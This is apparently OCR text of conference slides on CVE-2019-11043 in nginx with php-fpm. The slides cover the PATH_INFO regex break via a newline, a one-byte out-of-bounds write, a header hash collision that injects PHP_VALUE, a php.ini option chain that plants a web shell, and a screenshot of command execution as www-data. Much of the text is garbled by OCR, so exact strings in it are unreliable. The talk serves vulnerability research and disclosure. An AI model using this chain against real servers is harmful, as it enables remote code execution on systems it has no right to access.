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[script.php/blahblah
real file / "‘path Info" /




[script.php/blahblah
real file / "‘path Info" /

$ SERVER|[ "PATH INFO"]




Strange behaviour

$ SERVER
["PATH INFO"]
GET /x.php/abc /abc v
GET /x.php/a” ("blablabla la

GET /x.php/a abcd TH INFO




php-fpm

HI TP FastCGl
——> nginx ———— php-fpm
GET /x.php HTTP/1.1 REQUEST METHOD=GET
Foobar: value SCRIPT NAME=/x.php

HTTP FOOBAR=value




FastCGl

= requestis parsed into variables
= headers become variables like HTTP FOO

= there're special variables




php-fpm: security model

=

FastCGl
nginx ———— php-fpm
GET /x.php HTTP/1.1 REQUEST METHOD=GET
Foobar: value SCRIPT NAME=/x.php

HTTP FOOBAR=value



php-fpm: security model

&/

FastCGl
nginx ———— php-fpm
GET /x.php HTTP/1.1 REQUEST METHOD=GET
Foobar: value SCRIPT NAME=/x.php

HTTP FOOBAR=value



php-fpm

PHP VALUE=allow url include=On
auto prepend file=data://...

Also, there's DOCUMENT ROOT, etc.




Strange behaviour

$ SERVER FastCGI's
["PATH INFO"] PATH INFO
GET /x.php/abc /abc /abc
GET /x.php/a” "blablabla 1la <empty>

GET /x.php/a abcd TH INFO <empty>

ZERON




Break regexp

location ~ [*~/]\.php(/]S) {

fastcgi split path info ~(.+?\.php) (/.*)S;
fastcgl param PATH INFO Sfastcgl path info;
fastcgl pass php:9000;

But dots don't match \n!




real FastCGl PATH_INFO length \v

char *path info = env path info + pilen - slen;

assumed path_info length /




Wrong assumption

SCRIPT FILENAME. PATH INFO
Splitted: /X .php /a%$0Ab
Same: /x.php/a%$0Ab /x.php/a%$0Ab

We have: /x.php/a%0Ab empty




real FastCGl PATH_INFO length \v

char *path info = env path info + pilen - slen;

assumed path_info length /
>()




Single byte write

old = path info[0];
path info[0] = 0;

FCGI PUTENV ("ORIG SCRIPT NAME", orig script name) ;

path info[0] = old;

ZERONIGH |




fcgi_data_seg

HEADER/DATA—\’
pos [ har | . varl vail .




fcgi_data_seg

HEADER/DATA_\
pos [ har | . varl vail .

L path_info




fcgi_data_seg

HEADER DATA

Oos | har ]| ... varl vall ...

L path_Iinfo




fcgi_data_seg

HEADER DATA

Oos | hdr | ... /PHP VALUE= ...

L path_Iinfo




Hashtable
= hash and length are compared before the keys

» canadd avariable using headers (HTTP ..)

= HTTP header name found:

FCGI HASH ("HTTP EBUT") == FCGI HASH("PHP VALUE") == 2015
strlen ("HTTP EBUT") == strlen ("PHP VALUE") == 9

ZERONIGHTS.




Hashtable

= we send

GET /script.php/PHP VALUE%O0Aopt...
Ebut: mamku

» andthen HTTP EBUT gets overwritten
with PHP VALUE




=~ PHP VALUE lengthis limited, 23 bytes

= php.ini options chain found:

short open tag=l
html errors=0
include path=/tmp
auto prepend file=a
log errors=l

error reporting=2
error log=/tmp/a
extension dir="<?=""

extension="$ GET[a] ?>"




cve-2019-11043-reproducer X | +

< C @ ©) | #Z cve-2019-11043-reproducer

uid=33(www-data) gid=33(www-data) groups=33(www-data)

ZERONIGHTS.




Luck

1. £fcgi data seg struct
2. FCGI PUTENV call afterwrite
3. php.ini options chain







